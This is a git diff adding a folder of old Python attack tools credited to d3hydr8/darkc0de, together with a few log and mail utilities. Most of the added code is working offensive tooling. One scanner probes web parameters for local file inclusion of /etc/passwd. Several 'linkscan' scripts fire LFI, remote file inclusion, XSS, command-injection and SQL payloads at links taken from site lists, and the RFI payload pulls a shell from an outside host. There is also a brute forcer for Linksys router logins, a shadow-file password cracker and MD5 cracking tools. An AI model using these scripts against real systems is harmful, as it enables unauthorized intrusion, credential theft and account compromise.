+	badresp,reason,server = tester("/d3hydr8.html")
+
+	host = getindex(okresp[0])
+
+	if okresp[0] == badresp:
+		print "\n[-] Responses matched, try another host.\n"
+	else:
+		print "[+] Target server:",server
+		print "[+] Target OK response:",okresp[0]
+		print "[+] Target BAD response:",badresp, reason
+		print "[+] Scan Started at",timer()
+		time.sleep(2)
+
+		print "[+] Gathering Fields:",host
+	
+		try:
+			names, actions, var = getvar()
+			print "[+] Variables:",len(var),"| Actions:",len(actions),"| Fields:",len(names)
+			print "[+] Avg Requests:",(len(var)+len(names)+(len(actions)*len(names))+(len(actions)*len(names)))
+			paths = getpaths(var, names, actions)
+			print "[+] Paths Found:",len(paths),"\n"
+			for path in paths:
+				for x in xrange(path.count("../")-2):
+					code, reason = tester(path.replace('../',"",x+1))[:2]	
+					if code == okresp[0]:
+						print "\n\t[+]",code,reason,":",path.split("/",1)[1].replace('../',"",x+1),"\n"
+		except(TypeError):
+			print "[-] Couldn't find enough fields.\n"
+			pass
+		
+def tester(path):
+	
+	try:# make a http HEAD request
+		h = httplib.HTTP(host.split("/",1)[0], int(port))
+		h.putrequest("GET", "/"+path.split("/",1)[1])
+		h.putheader("Host", host.split("/",1)[0])
+		h.endheaders()
+		status, reason, headers = h.getreply()
+		if verbose == 1:
+			print "[+]",status,reason,":","/"+path.split("/",1)[1]
+		return status, reason, headers.get("Server")
+	except(), msg: 
+		print "[-] Error Occurred\n",msg
+		sys.exit(1)
+		
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+
+def getindex(okresp):
+	#Try and get index page if not posted.
+	if re.search("index", host) == None:
+		code = tester("/index.php")[:1]
+		if code[0] == okresp:
+			return host+"/index.php"
+		else:
+			code = tester("/index.html")[:1]	
+			if code[0] == okresp:
+				return host+"/index.html"
+			
+def getpaths(var, names, actions):
+	print "[+] Creating Paths...\n"
+
+	if len(var) >= 1:
+		for v in var:
+			if host.count("/") >= 2:
+				for x in xrange(host.count("/")):
+					paths.append(host.rsplit('/',x+1)[0]+"/"+v+lfi+null)
+			paths.append(host+"/"+v+lfi+null)
+		
+	if len(names) >= 1:
+		for n in names:
+			if host.count("/") >= 2:
+				for x in xrange(host.count("/")):
+					paths.append(host.rsplit('/',x+1)[0]+"/"+"?"+n+"="+lfi+null)
+			paths.append(host+"/"+"?"+n+"="+lfi+null)
+		
+	if len(actions) != 0 and len(names) >= 1:
+		for a in actions:
+			for n in names:
+				if host.count("/") >= 2:
+					for x in xrange(host.count("/")):
+						paths.append(host.rsplit('/',x+1)[0]+a+"?"+n+"="+lfi+null)
+				#paths.append(host.split("/")[0]+a+"?"+n+"="+lfi+null)
+			
+	if len(actions) != 0 and len(var) >= 1:
+		for a in actions:
+			for v in var:
+				if host.count("/") >= 2:
+					for x in xrange(host.count("/")):
+						paths.append(host.rsplit('/',x+1)[0]+a+v+lfi+null)
+				else:
+					paths.append(host.split("/")[0]+a+v+lfi+null)
+	return paths
+
+def getvar():
+	
+	names = []
+	actions = []
+
+	try:
+		webpage = urllib2.urlopen("http://"+host, port).read()
+		var = re.findall("\?[\w\.\-/]*\=",webpage)
+		if len(var) >=1:
+			var = list(sets.Set(var))
+		found_action = re.findall("action=\"[\w\.\-/]*\"", webpage.lower())
+		found_action = list(sets.Set(found_action))
+		if len(found_action) >= 1:
+			for a in found_action:
+				a = a.split('"',2)[1]
+				try:
+					if a[0] != "/":
+						a = "/"+a
+				except(IndexError):
+						pass
+				actions.append(a)
+		found_names = re.findall("name=\"[\w\.\-/]*\"", webpage.lower())
+		found_names = list(sets.Set(found_names))
+		for n in found_names:
+			names.append(n.split('"',2)[1])
+		return names, actions, var
+	except(socket.timeout, IOError, ValueError, socket.error, socket.gaierror, httplib.BadStatusLine):
+		pass
+	except(KeyboardInterrupt):
+		print "\n[-] Cancelled -",timer(),"\n"
+		sys.exit(1)
+		
+print "\n\t   d3hydr8[at]gmail[dot]com LFIscanner v1.0"
+print "\t----------------------------------------------"
+		
+if len(sys.argv) < 3 or len(sys.argv) > 7:
+	print "\nUsage: ./lfiscan.py <options>\n"
+	print "Ex. ./lfiscan.py -h google.com -p 80 -null -v"
+	print "Ex. ./lfiscan.py -list sites.txt -p 80 -v\n"
+	print "\t[options]"
+	print "\t   -h/-host : Host to scan"
+	print "\t   -p/-port : Port to use (defaults: 80)"
+	print "\t   -l/-list <list of sites> : List of sites to scan through"
+	print "\t   -n/-null : Adds a null byte onto the end of the inclusion"
+	print "\t   -v/-verbose : Shows every lfi attempt\n"
+	sys.exit(1)
+
+paths = []
+lfi = "../../../../../../../etc/passwd"
+socket.setdefaulttimeout(25)
+
+for arg in sys.argv[1:]:
+	if arg.lower() == "-h" or arg.lower() == "-host":
+		host = sys.argv[int(sys.argv[1:].index(arg))+2]
+	if arg.lower() == "-p" or arg.lower() == "-port":
+		port = sys.argv[int(sys.argv[1:].index(arg))+2]
+	if arg.lower() == "-l" or arg.lower() == "-list":
+		sites = open(sys.argv[int(sys.argv[1:].index(arg))+2], "r").readlines()
+	if arg.lower() == "-v" or arg.lower() == "-verbose":
+		verbose = 1
+	if arg.lower() == "-n" or arg.lower() == "-null":
+		null = "%00"
+try:
+	if verbose ==1:
+		print "\n[+] Verbose Mode On"	
+except(NameError):
+	print "\n[-] Verbose Mode Off"
+	verbose = 0
+try:
+	if null:
+		print "[+] Null Byte On"
+except(NameError):
+	print "[-] Null Byte Off"
+	null = ""
+try:
+	if port:
+		print "[+] Target port:",port
+except(NameError):
+	port = "80"
+	print "[+] Target port:",port
+try:
+	if sites:
+		print "\n[+] Loaded:",len(sites),"sites"
+		for host in sites:
+			host = host[:-1]
+			if host[:7] == "http://":
+				host = host.replace("http://","")
+			if host[-1] == "/":
+				host = host[:-1]
+			main(host)
+except(NameError):
+	if host[:7] == "http://":
+		host = host.replace("http://","")
+	if host[-1] == "/":
+		host = host[:-1]
+	main(host)		
+print "\n[-] Scan completed at",timer(),"\n"
+
+
+	
\ No newline at end of file
diff --git a/3rdparty/linkscan.py b/3rdparty/linkscan.py
new file mode 100644
index 0000000..1144719
--- /dev/null
+++ b/3rdparty/linkscan.py
@@ -0,0 +1,192 @@
+#!/usr/bin/python
+#LinkScan will take a list of sites and
+#collect links from the source. If the link
+#contains a = it checks LFI,XSS,RFI,SQL,CMD injection 
+#searching source (simple) 
+
+#If your going to use a different shell then the
+#one I have supplied, you will need to change line 
+#54 (r57shell) to something in your shell source.
+
+from sgmllib import SGMLParser
+import sys, urllib, httplib, re, urllib2, sets, socket
+
+socket.setdefaulttimeout(5)
+
+class URLLister(SGMLParser):
+	def reset(self):
+		SGMLParser.reset(self)
+		self.urls = []
+
+	def start_a(self, attrs):
+		href = [v for k, v in attrs if k=='href']
+		if href:
+			self.urls.extend(href)
+
+def parse_urls(links):
+	urls = []
+	for link in links: 
+		num = link.count("=")
+		if num > 0:
+			for x in xrange(num):
+				x = x+1
+				if link[0] == "/" or link[0] == "?":
+					url = site+link.rsplit("=",x)[0]+"="
+				else:
+					url = link.rsplit("=",x)[0]+"="
+				if url.find(site.split(".",1)[1]) == -1:
+					url = site+url
+				if url.count("//") > 1:
+					url = "http://"+url[7:].replace("//","/",1)
+				urls.append(url)
+	urls = list(sets.Set(urls))
+	return urls
+			 
+def main(host): 
+	print "\n\t[+] Testing:",host,"\n"
+	try: 
+		if verbose == 1:
+			print "[+] Checking XSS" 
+		xss(host) 
+	except(urllib2.HTTPError, urllib2.URLError), msg: 
+		#print "[-] XSS Error:",msg 
+		pass
+	try:
+		if verbose == 1:
+			print "[+] Checking LFI" 
+		lfi(host) 
+	except(urllib2.HTTPError, urllib2.URLError), msg: 
+		#print "[-] LFI Error:",msg 
+		pass
+	try:
+		if verbose == 1:
+			print "[+] Checking RFI" 
+		rfi(host) 
+	except(urllib2.HTTPError, urllib2.URLError), msg: 
+		#print "[-] RFI Error:",msg 
+		pass
+	try:
+		if verbose == 1:
+			print "[+] Checking CMD" 
+		cmd(host) 
+	except(urllib2.HTTPError, urllib2.URLError), msg: 
+		#print "[-] CMD Error:",msg 
+		pass 
+	try:
+		if verbose == 1:
+			print "[+] Checking SQL" 
+		sql(host) 
+	except(urllib2.HTTPError, urllib2.URLError), msg: 
+		#print "[-] SQL Error:",msg 
+		pass 
+ 
+def rfi(host): 
+ 
+	try: 
+		source = urllib2.urlopen(host+RFI).read() 
+		if re.search("r57shell", source): 
+			print "[+] RFI:",host+RFI
+		else: 
+			if verbose == 1:
+				print "[-] Not Vuln." 
+	except(),msg: 
+		#print "[-] Error Occurred",msg 
+		pass 
+ 
+def xss(host): 
+	source = urllib2.urlopen(host+XSS).read() 
+	if re.search("XSS", source) != None: 
+		print "[!] XSS:",host+XSS 
+	else: 
+		if verbose == 1:
+			print "[-] Not Vuln." 
+		
+def sql(host):
+	for pload in SQL:
+		source = urllib2.urlopen(host+pload).read() 
+		if re.search("Warning:", source) != None: 
+			print "[!] SQL:",host+pload
+		else: 
+			if verbose == 1:
+				print "[-] Not Vuln."
+		
+def cmd(host): 
+	source = urllib2.urlopen(host+CMD).read() 
+	if re.search("uid=", source) != None: 
+		print "[!] CMD:",host+CMD 
+	else: 
+		if verbose == 1:
+			print "[-] Not Vuln." 
+ 
+def lfi(host): 
+ 
+	source = urllib2.urlopen(host+LFI).read() 
+	if re.search("root:", source) != None: 
+		print "[!] LFI:",host+LFI 
+	else: 
+		if verbose == 1:
+			print "[-] Not Vuln." 
+	source = urllib2.urlopen(host+LFI+"%00").read() 
+	if re.search("root:", source) != None: 
+		print "[!] LFI:",host+LFI+"%00" 
+	else: 
+		if verbose == 1:
+			print "[-] Not Vuln. w/  Null Byte" 
+		
+print "\n\t   d3hydr8[at]gmail[dot]com LinkScan v1.2"
+print "\t--------------------------------------------\n"
+			
+if len(sys.argv) not in [2,3]:
+	print "Usage : ./linkscan.py <site_list> [option]"
+	print "Ex: ./linkscan.py sites.txt -verbose"
+	print "\n\t[Option]"
+	print "\t\t-verbose/-v | Verbose Output\n"
+	sys.exit(1)
+	
+LFI = "../../../../../../../../../../../../etc/passwd" 
+RFI = "http://yozurino.com/r.txt?" 
+RFI_TITLE = "Target" 
+XSS = "%22%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E" 
+CMD = "|id|"
+SQL = ["-1","999999"] #Add more or change sql payloads
+	
+try:
+	sites = open(sys.argv[1], "r").readlines()
+except(IOError): 
+  	print "Error: Check your site list path\n"
+  	sys.exit(1)
+
+print "[+] Loaded:",len(sites),"sites"
+
+try:
+	if sys.argv[2].lower() == "-v" or sys.argv[2].lower() == "-verbose":
+		verbose = 1
+		print "[+] Verbose Mode On\n"
+except(IndexError):
+	print "[-] Verbose Mode Off\n"
+	verbose = 0
+	pass
+
+for site in sites:
+	site = site.replace("\n","")
+	print "\n[+] Collecting:",site
+	site = site.replace("http://","").rsplit("/",1)[0]+"/"
+	site = "http://"+site.lower()
+	try:
+		usock = urllib.urlopen(site)
+		parser = URLLister()
+		parser.feed(usock.read().lower())
+		parser.close()
+		usock.close()
+	except(IOError, urllib2.URLError), msg: 
+		print "[-] Error Connecting to",site
+		print "[-]",msg
+		sys.exit(1)
+	urls = parse_urls(parser.urls)
+	print "[+] Links Found:",len(urls)
+	for url in urls: 
+		try:
+			main(url)
+		except(KeyboardInterrupt):
+			pass
+print "\n[-] Done\n"
diff --git a/3rdparty/linkscan1.3.py b/3rdparty/linkscan1.3.py
new file mode 100644
index 0000000..f1c3c4f
--- /dev/null
+++ b/3rdparty/linkscan1.3.py
@@ -0,0 +1,182 @@
+#!/usr/bin/python
+#LinkScanSingle will take a site and
+#collect links from the source. If the link
+#contains a = it checks LFI,XSS,RFI,SQL,CMD injection 
+#searching source (simple) 
+
+#If your going to use a different shell then the
+#one I have supplied, you will need to change line 
+#54 (r57shell) to something in your shell source.
+
+from sgmllib import SGMLParser
+import sys, urllib, httplib, re, urllib2, sets, socket
+
+socket.setdefaulttimeout(5)
+
+class URLLister(SGMLParser):
+	def reset(self):
+		SGMLParser.reset(self)
+		self.urls = []
+
+	def start_a(self, attrs):
+		href = [v for k, v in attrs if k=='href']
+		if href:
+			self.urls.extend(href)
+
+def parse_urls(links):
+	urls = []
+	for link in links: 
+		num = link.count("=")
+		if num > 0:
+			for x in xrange(num):
+				x = x+1
+				if link[0] == "/" or link[0] == "?":
+					url = site+link.rsplit("=",x)[0]+"="
+				else:
+					url = link.rsplit("=",x)[0]+"="
+				if url.find(site.split(".",1)[1]) == -1:
+					url = site+url
+				if url.count("//") > 1:
+					url = "http://"+url[7:].replace("//","/",1)
+				urls.append(url)
+	urls = list(sets.Set(urls))
+	return urls
+			 
+def main(host): 
+	print "\n\t[+] Testing:",host,"\n"
+	try: 
+		if verbose == 1:
+			print "[+] Checking XSS" 
+		xss(host) 
+	except(urllib2.HTTPError, urllib2.URLError), msg: 
+		#print "[-] XSS Error:",msg 
+		pass
+	try:
+		if verbose == 1:
+			print "[+] Checking LFI" 
+		lfi(host) 
+	except(urllib2.HTTPError, urllib2.URLError), msg: 
+		#print "[-] LFI Error:",msg 
+		pass
+	try:
+		if verbose == 1:
+			print "[+] Checking RFI" 
+		rfi(host) 
+	except(urllib2.HTTPError, urllib2.URLError), msg: 
+		#print "[-] RFI Error:",msg 
+		pass
+	try:
+		if verbose == 1:
+			print "[+] Checking CMD" 
+		cmd(host) 
+	except(urllib2.HTTPError, urllib2.URLError), msg: 
+		#print "[-] CMD Error:",msg 
+		pass 
+	try:
+		if verbose == 1:
+			print "[+] Checking SQL" 
+		sql(host) 
+	except(urllib2.HTTPError, urllib2.URLError), msg: 
+		#print "[-] SQL Error:",msg 
+		pass 
+ 
+def rfi(host): 
+ 
+	try: 
+		source = urllib2.urlopen(host+RFI).read() 
+		if re.search("r57shell", source): 
+			print "[+] RFI:",host+RFI
+		else: 
+			if verbose == 1:
+				print "[-] Not Vuln." 
+	except(),msg: 
+		#print "[-] Error Occurred",msg 
+		pass 
+ 
+def xss(host): 
+	source = urllib2.urlopen(host+XSS).read() 
+	if re.search("XSS", source) != None: 
+		print "[!] XSS:",host+XSS 
+	else: 
+		if verbose == 1:
+			print "[-] Not Vuln." 
+		
+def sql(host):
+	for pload in SQL:
+		source = urllib2.urlopen(host+pload).read() 
+		if re.search("Warning:", source) != None: 
+			print "[!] SQL:",host+pload
+		else: 
+			if verbose == 1:
+				print "[-] Not Vuln."
+		
+def cmd(host): 
+	source = urllib2.urlopen(host+CMD).read() 
+	if re.search("uid=", source) != None: 
+		print "[!] CMD:",host+CMD 
+	else: 
+		if verbose == 1:
+			print "[-] Not Vuln." 
+ 
+def lfi(host): 
+ 
+	source = urllib2.urlopen(host+LFI).read() 
+	if re.search("root:", source) != None: 
+		print "[!] LFI:",host+LFI 
+	else: 
+		if verbose == 1:
+			print "[-] Not Vuln." 
+	source = urllib2.urlopen(host+LFI+"%00").read() 
+	if re.search("root:", source) != None: 
+		print "[!] LFI:",host+LFI+"%00" 
+	else: 
+		if verbose == 1:
+			print "[-] Not Vuln. w/  Null Byte" 
+		
+print "\n\t   d3hydr8[at]gmail[dot]com LinkScanSingle v1.3"
+print "\t-------------------------------------------------\n"
+			
+if len(sys.argv) not in [2,3]:
+	print "Usage : ./linkscan.py <site> [option]"
+	print "Ex: ./linkscan.py www.google.com -verbose"
+	print "\n\t[Option]"
+	print "\t\t-verbose/-v | Verbose Output\n"
+	sys.exit(1)
+	
+LFI = "../../../../../../../../../../../../etc/passwd" 
+RFI = "http://yozurino.com/r.txt?" 
+RFI_TITLE = "Target" 
+XSS = "%22%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E" 
+CMD = "|id|"
+SQL = ["-1","999999"] #Add more or change sql payloads
+	
+site = sys.argv[1].replace("\n","")
+print "\n[+] Collecting:",site
+try:
+	if sys.argv[2].lower() == "-v" or sys.argv[2].lower() == "-verbose":
+		verbose = 1
+		print "[+] Verbose Mode On\n"
+except(IndexError):
+	print "[-] Verbose Mode Off\n"
+	verbose = 0
+	pass
+site = site.replace("http://","").rsplit("/",1)[0]+"/"
+site = "http://"+site.lower()
+try:
+	usock = urllib.urlopen(site)
+	parser = URLLister()
+	parser.feed(usock.read().lower())
+	parser.close()
+	usock.close()
+except(IOError, urllib2.URLError), msg: 
+	print "[-] Error Connecting to",site
+	print "[-]",msg
+	sys.exit(1)
+urls = parse_urls(parser.urls)
+print "[+] Links Found:",len(urls)
+for url in urls: 
+	try:
+		main(url)
+	except(KeyboardInterrupt):
+		pass
+print "\n[-] Done\n"
diff --git a/3rdparty/linkscansimple.py b/3rdparty/linkscansimple.py
new file mode 100644
index 0000000..ea716f6
--- /dev/null
+++ b/3rdparty/linkscansimple.py
@@ -0,0 +1,66 @@
+#!/usr/bin/python
+#LinkScanSimple will take a list of sites and
+#add an extension after the = then search the 
+#source for a match you choose. 
+
+#For an LFI scan I use "root:" but for a shell location
+#I would choose the shell title (r57shell). For SQL
+#you can choose a common sql error.
+
+import sys, re, urllib2, sets, socket
+socket.setdefaulttimeout(5)
+
+#---------------------------------------------------------
+#Edit what you want added to the address.
+EXT = "../../../../../../../../../../../../etc/passwd" 
+
+#Edit what you want to search for.
+MATCH = "root:"
+#---------------------------------------------------------
+
+def parse_urls(links):
+	urls = []
+	for link in links: 
+		num = link.count("=")
+		if num > 0:
+			for x in xrange(num):
+				link = link.rsplit("=",x+1)[0]+"="
+				urls.append(link+EXT)
+	urls = list(sets.Set(urls))
+	return urls
+ 
+def test(host): 
+ 	print "[+] Testing:",host.replace(EXT,"")
+	try: 
+		source = urllib2.urlopen(host).read() 
+		if re.search(MATCH, source): 
+			print "[+] Found:",host
+		else: 
+			print "[-] Not Vuln." 
+	except:
+		pass 
+ 
+
+print "\n\t   d3hydr8[at]gmail[dot]com LinkScanSimple v1.0"
+print "\t-------------------------------------------------\n"
+			
+if len(sys.argv) != 2:
+	print "Usage : ./linkscan.py <site_list>"
+	print "Ex: ./linkscan.py sites.txt\n"
+	sys.exit(1)
+	
+try:
+	sites = open(sys.argv[1], "r").readlines()
+except(IOError): 
+  	print "Error: Check your site list path\n"
+  	sys.exit(1)
+
+print "[+] Loaded:",len(sites),"sites"
+urls = parse_urls(sites)
+print "[+] Links Found:",len(urls)
+for url in urls: 
+	try:
+		test(url.replace("\n",""))
+	except(KeyboardInterrupt):
+		pass
+print "\n[-] Scan Complete\n"
diff --git a/3rdparty/linksysbrute.py b/3rdparty/linksysbrute.py
new file mode 100644
index 0000000..9f8fd63
--- /dev/null
+++ b/3rdparty/linksysbrute.py
@@ -0,0 +1,81 @@
+#!usr/bin/python
+#Linksys WRT54G router brute force
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, random, sys, urllib2, socket
+
+if len(sys.argv) !=4:
+	print "Usage: ./linksysbrute.py <server> <user> <wordlist>"
+	sys.exit(1)
+
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+username = sys.argv[2]
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])		
+	lock.release()
+	return value[0][:-1] 
+
+def getauth(url):
+	
+	req = urllib2.Request(url)
+	try:
+    		handle = urllib2.urlopen(req)
+	except IOError, e:                  
+    		pass
+	authline = e.headers.get('www-authenticate', '')
+	server = e.headers.get('server', '')
+	return authline, server
+			
+class Worker(threading.Thread):
+	
+	def run(self):
+		password = getword()
+		try:
+			print "-"*12
+			print "User:",username,"Password:",password
+			req = urllib2.Request(sys.argv[1])
+			passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
+			passman.add_password(None, sys.argv[1], username, password)
+			authhandler = urllib2.HTTPBasicAuthHandler(passman)
+			opener = urllib2.build_opener(authhandler)
+			fd = opener.open(req)
+			print "\t\n\n[+] Login successful: Username:",username,"Password:",password,"\n"			
+			print "[+] Retrieved", fd.geturl()
+			info = fd.info()
+			for key, value in info.items():
+    				print "%s = %s" % (key, value)
+			sys.exit(2)
+		except (urllib2.HTTPError,socket.error):
+			pass
+
+print "\n\t   d3hydr8[at]gmail[dot]com LinksysBrute v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Server:",sys.argv[1]
+print "[+] User:",username
+print "[+] Words Loaded:",len(words)
+try:
+	auth, server = getauth(sys.argv[1])
+except(AttributeError):
+	print "\n[-] Connection Failure\n"
+	sys.exit(1)
+if auth.find("WRT54G") == -1:
+	print "[-] WRT54G Router not found"
+print "[+] Server:",server
+print "[+]",auth,"\n"
+
+for i in range(len(words)):
+	work = Worker()
+	work.setDaemon(1)
+	work.start()
+	time.sleep(1)
diff --git a/3rdparty/locbrute.py b/3rdparty/locbrute.py
new file mode 100644
index 0000000..0d41c55
--- /dev/null
+++ b/3rdparty/locbrute.py
@@ -0,0 +1,46 @@
+#!/usr/bin/python
+#Local account brute forcer.
+#(You need to be able to read shadow file)
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, crypt, spwd
+if len(sys.argv) != 3:
+	print "\nUsage: ./locbrute.py <user> <wordlist>"
+	print "Ex: ./locbrute.py root words.txt\n"
+	sys.exit(1)
+
+print "\nAccounts with encrypted passwords:\n"
+users = spwd.getspall()
+for user in users:
+	if user[1] not in ["*","!"]: 
+		print user[:2]
+try:
+	words = open(sys.argv[2], "r").readlines()
+except(IOError):
+	print "\n[-] Error: Couldn't open wordlist\n"
+	sys.exit(1)
+print "\n[+] Words Loaded:",len(words)
+try:
+	passwd = spwd.getspnam(sys.argv[1])[1]
+except(KeyError):
+	print "\n[-] User not found. Check list above\n"
+	sys.exit(1)
+print "[+] Cracking:",passwd
+for word in words:
+	word = word.replace("\n","")
+	if crypt.crypt(word, passwd) == passwd:
+		print "\n[!] Cracked: [ ",word," ]\n"
+		sys.exit(1)
+print "\n[-] Couldn't find match\n"
+	
+
+
+
+
+	
+	
+
+
+
diff --git a/3rdparty/logcheck.py b/3rdparty/logcheck.py
new file mode 100644
index 0000000..d8aae07
--- /dev/null
+++ b/3rdparty/logcheck.py
@@ -0,0 +1,35 @@
+#!/usr/bin/python
+#Checks access file for new ips.
+#I wrote this to tell me if someone was looking at my site.
+#d3hydr8[at]gmail[dot]com
+
+import time, re, sys
+
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+
+def getips(ip):
+
+	log = open(file, "r")
+	logs = log.readlines()
+	log.close()
+	
+	new_ip = re.findall("\d*\.\d*\.\d*\.\d*", logs[-3])
+	if new_ip != ip:
+		print new_ip[0],"\aviewed at:",timer() #edit out \a for no beep
+		ip = new_ip
+	return ip
+		
+if len(sys.argv) != 2:
+	print "\nUsage: ./logcheck.py <access file>"
+	print "ex. ./logcheck.py /var/log/apache/access_log\n"
+	sys.exit(1)
+	
+file = sys.argv[1] 
+print "\nStarting logchecker at",timer(),"\n"
+ip = ""
+while True:
+	time.sleep(60)  #time in secs 
+	ip = getips(ip)
+	getips(ip)
diff --git a/3rdparty/logfind.py b/3rdparty/logfind.py
new file mode 100644
index 0000000..3076e3d
--- /dev/null
+++ b/3rdparty/logfind.py
@@ -0,0 +1,36 @@
+#!/usr/bin/python
+#Uses a list of log files to search
+#for existing logs and then checks readability
+#with the current user.
+#d3hydr8[at]gmail[dot]com 
+
+import sys, os, getpass
+
+if len(sys.argv) != 2:
+	print "Usage: ./logfind.py <log list>"
+	sys.exit(1)
+	
+try:
+  logs = open(sys.argv[1], "r").readlines()
+except(IOError): 
+  print "Error: Check your loglist path\n"
+  sys.exit(1)
+
+print "\n[+] Log Files Loaded:",len(logs),"\n"
+
+for log in logs:
+	if os.path.isfile(log[:-1]) == True:
+		print "[+] Found:",log[:-1]," Size:",os.path.getsize(log[:-1])
+		try:
+			f = open(log[:-1], "r")
+		except(IOError):
+			print "[-] Not Readable by",getpass.getuser()
+print "\n[+] Done\n"
+
+
+
+	
+	
+
+
+
diff --git a/3rdparty/logfind1.1.zip b/3rdparty/logfind1.1.zip
new file mode 100644
index 0000000..0b0cfca
Binary files /dev/null and b/3rdparty/logfind1.1.zip differ
diff --git a/3rdparty/logreader.py b/3rdparty/logreader.py
new file mode 100644
index 0000000..94df73f
--- /dev/null
+++ b/3rdparty/logreader.py
@@ -0,0 +1,43 @@
+#!/usr/bin/python
+#Reads your apache log file for all ips and prints
+#where they are coming from. Use access_log or error_log.
+#d3hydr8[at]gmail[dot]com 
+
+import urllib, sys, re, time
+ 
+if len(sys.argv) != 2:
+	print "\nUsage: ./logreader.py <full path to apache log file>\n"
+	sys.exit(1)
+
+ip_list = []
+file = sys.argv[1]
+
+try:
+	log = open(file, "r")
+except(IOError), msg: 
+	print "Check your apache log file path, Do you have permission to read it?"
+	print msg
+	sys.exit(1)
+i = log.readlines()
+
+for line in i:
+	ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", line)
+	if ipaddr not in ip_list:  
+		ip_list.append(ipaddr)
+			
+print "\nFound",len(ip_list),"ips to search.\n"
+
+for ip in ip_list:
+	try:
+		url = "http://antionline.com/tools-and-toys/ip-locate/index.php?address="+ip[0]
+	except(IndexError): print "Not a real ip address."
+	
+	time.sleep(3)  #Stops working without a pause.
+	
+	site = urllib.urlopen(url).readlines()
+	
+	
+	for line in site:
+		if re.search("<br><b>", line):
+			line = line.replace("</b>","").replace('<br>',"").replace('<b>',"")
+			print "\n",line,"\n"
\ No newline at end of file
diff --git a/3rdparty/mail2text.py b/3rdparty/mail2text.py
new file mode 100644
index 0000000..568bd68
--- /dev/null
+++ b/3rdparty/mail2text.py
@@ -0,0 +1,76 @@
+#!/usr/bin/python
+#darkc0de.com email checker >> text message
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com 
+
+import urllib2, urllib, time, poplib
+
+#------------PHONE SETUP----------------------
+#Sent from 
+EMAIL = "hello@hello.com"
+#Phone Number (keep this format)
+NUMBER = "123-456-7890"	
+
+#------------MAIL SETUP-----------------------
+#Username (full address)
+USER = "user@darkc0de.com"
+#Password
+PASSWORD = "123456"
+#Inverval to check in seconds
+TIME = "1800"
+#---------------------------------------------
+
+def getmail():
+	FROM = ""
+	SUBJECT = ""
+	try:
+		M = poplib.POP3('mail.darkc0de.com')
+		M.user(USER)
+		M.pass_(PASSWORD)
+		c = M.stat()[0]
+		numMessages = len(M.list()[1])
+		for i in range(numMessages):
+    			SUBJECT = M.retr(i+1)[1][15]
+    			FROM = M.retr(i+1)[1][16]
+	except (poplib.error_proto), msg:
+		c = -1
+		print "Mail Failed:",msg
+		pass
+	return int(c), FROM, SUBJECT
+
+def sendtxt(FROM, SUBJECT):
+	host = "http://www.txtdrop.com/"
+	login_form_seq = [
+     		('emailfrom',EMAIL),
+		('npa',NUMBER[0]),
+		('exchange',NUMBER[1]),
+		('number',NUMBER[2]),
+		('body',FROM+" "+SUBJECT),
+		('submitted','1'),
+		('submit','Send')]
+	login_form_data = urllib.urlencode(login_form_seq)
+	opener = urllib2.build_opener()
+	try:
+		opener.addheaders = [('User-agent', 'Mozilla/5.0')]
+		opener.open(host, login_form_data)
+	except(urllib2.URLError), msg:
+		print "Phone Failed:",msg
+		pass
+	print "\n[+] Message Sent\n"
+
+NUMBER = NUMBER.split("-",2)
+c, FROM, SUBJECT = getmail()
+print "Start:",str(c),"emails"
+while 1:
+	time.sleep(int(TIME))
+	new_c, FROM, SUBJECT = getmail()
+	if new_c != -1:
+		if new_c > c:
+			sendtxt(FROM, SUBJECT)
+		if new_c < c:
+			c = new_c
+		 
+	
+
+
diff --git a/3rdparty/md5check.py b/3rdparty/md5check.py
new file mode 100644
index 0000000..1bb2106
--- /dev/null
+++ b/3rdparty/md5check.py
@@ -0,0 +1,40 @@
+#!/usr/bin/python
+#Searches hash databases on various sites for a match. I know there
+#is a better way of doing this, email me. It works for now.
+#d3hydr8[at]gmail[dot]com 
+
+import urllib, sys, re
+
+if len(sys.argv) != 2:
+	print "Usage: ./md5check.py <hash>"
+	sys.exit(1)
+	
+hash1 = sys.argv[1]
+print "\nSearching for hash",hash1 
+
+url = "http://md5.rednoize.com/?q="+hash1+"&b=MD5-Search"
+
+site = urllib.urlopen(url).readlines()
+
+for line in site:
+	if re.search("&nbsp;&nbsp;&nbsp;&nbsp;", line):
+		line = line.replace("&nbsp;&nbsp;&nbsp;&nbsp;","").replace('<h3>',"")
+		if len(line) != 33:
+			print "\n\tPassword is: ",line,"\n"
+		else: print "\n\tCouldn't find match.\n"
+		
+url = "http://gdataonline.com/qkhash.php?mode=txt&hash="+hash1
+
+site = urllib.urlopen(url).readlines()
+
+for line in site:
+	if re.search("<!-- splitting... num = 3 --!>", line):
+		line = line.replace("<!-- splitting... num = 3 --!>", "").replace('<tr><td width="65%">',"").replace('</td><td width="35%"><b>',"").replace("</b></td></tr>","").replace(hash1,"")
+		print "\n\tPassword is: ",line,"\n"
+
+
+	
+	
+
+
+
diff --git a/3rdparty/md5crack.py b/3rdparty/md5crack.py
new file mode 100644
index 0000000..33e0798
--- /dev/null
+++ b/3rdparty/md5crack.py
@@ -0,0 +1,33 @@
+#!/usr/bin/python
+#Attempts to crack hash against any givin wordlist.
+#http://darkcode.ath.cx/
+#d3hydr8[at]gmail[dot]com 
+
+import md5, sys
+
+if len(sys.argv) != 3:
+	print "Usage: ./md5crack.py <hash> <wordlist>"
+	sys.exit(1)
+	
+pw = sys.argv[1]
+wordlist = sys.argv[2]
+try:
+  words = open(wordlist, "r")
+except(IOError): 
+  print "Error: Check your wordlist path\n"
+  sys.exit(1)
+words = words.readlines()
+print "\n",len(words),"words loaded..."
+for word in words:
+	hash = md5.new(word[:-1])
+	value = hash.hexdigest()
+	if pw == value: 
+		print "Password is:",word,"\n"
+
+
+
+	
+	
+
+
+
